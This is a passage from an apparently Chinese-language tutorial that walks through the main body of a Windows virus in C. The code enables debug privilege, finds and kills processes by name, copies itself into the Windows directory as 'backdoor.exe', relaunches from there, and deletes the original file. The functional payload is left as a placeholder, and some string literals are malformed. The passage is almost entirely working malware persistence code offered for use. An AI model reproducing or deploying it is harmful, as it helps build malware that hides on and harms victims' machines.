// 调整权限
VOID DebugPrivilege()
{
HANDLE hToken = NULL;
BOOL bRet =OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if ( bRet == TRUE )
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes= SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
// 获得某进程的PID
DWORD GetProcessId(char *szProcessName)
{
DWORD dwPid = 0;
BOOL bRet = 0;
PROCESSENTRY32 pe32 = { 0};
pe32.dwSize =sizeof(PROCESSENTRY32);
HANDLE hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
bRet = Process32First(hSnap,&pe32);
while ( bRet )
{
if (strcmp(pe32.szExeFile, szProcessName) == 0 )
{
break;
}
bRet =Process32Next(hSnap, &pe32);
}
dwPid =pe32.th32ProcessID;
return dwPid;
}
// 结束某进程
VOID CloseProcess(DWORD dwPid)
{
HANDLE hProcess =OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
这几个函数完成后,我们就来根据病毒的流程来完成病毒的主体代码,代码如下:
int main(int argc, char **argv)
{
// Windows目录
char szWinDir[MAX_PATH] ={ 0 };
// 当前目录
char szCurrDir[MAX_PATH] ={ 0 };
GetWindowsDirectory(szWinDir, MAX_PATH);
GetModuleFileName(NULL,szCurrDir, MAX_PATH);
// 获取当前的目录
int ch = '\';
char *pFileName =strrchr(szCurrDir, ch);
int nLen =strlen(szCurrDir) - strlen(pFileName);
szCurrDir[nLen] = NULL;
if ( strcmp(szWinDir,szCurrDir) == 0 )
{
// 相同目录
// 判断参数个数
// 根据参数个数判断是否需要删除原病毒文件
// 如果病毒是开机自动启动的话,不会带有参数
printf("argc = %d ", argc);
if ( argc == 2 )
{
ch = '\';
pFileName =strrchr(argv[1], ch);
pFileName ++;
printf("pFileName = %s ", pFileName);
DWORD dwPid =GetProcessId(pFileName);
printf("dwPid= %d ", dwPid);
DebugPrivilege();
CloseProcess(dwPid);
pFileName =argv[1];
printf("pFileName = %s ", pFileName);
Sleep(3000);
DeleteFile(pFileName);
}
else
{
// 病毒的功能代码
}
}
else
{
// 不同目录,说明是第一次运行
// 复制自身到windows目录里下
strcat(szWinDir,"\backdoor.exe");
GetModuleFileName(NULL, szCurrDir, MAX_PATH);
CopyFile(szCurrDir,szWinDir, FALSE);
// 构造要运行windows目录下的病毒
// 以及要传递的自身位置
strcat(szWinDir," "");
strcat(szWinDir,szCurrDir);
strcat(szWinDir,""");
printf("%s ", szWinDir);
WinExec(szWinDir, SW_SHOW);
Sleep(1000);
}
// getch()模拟病毒的动作
// 保持病毒进程不退出
getch();
return 0;
}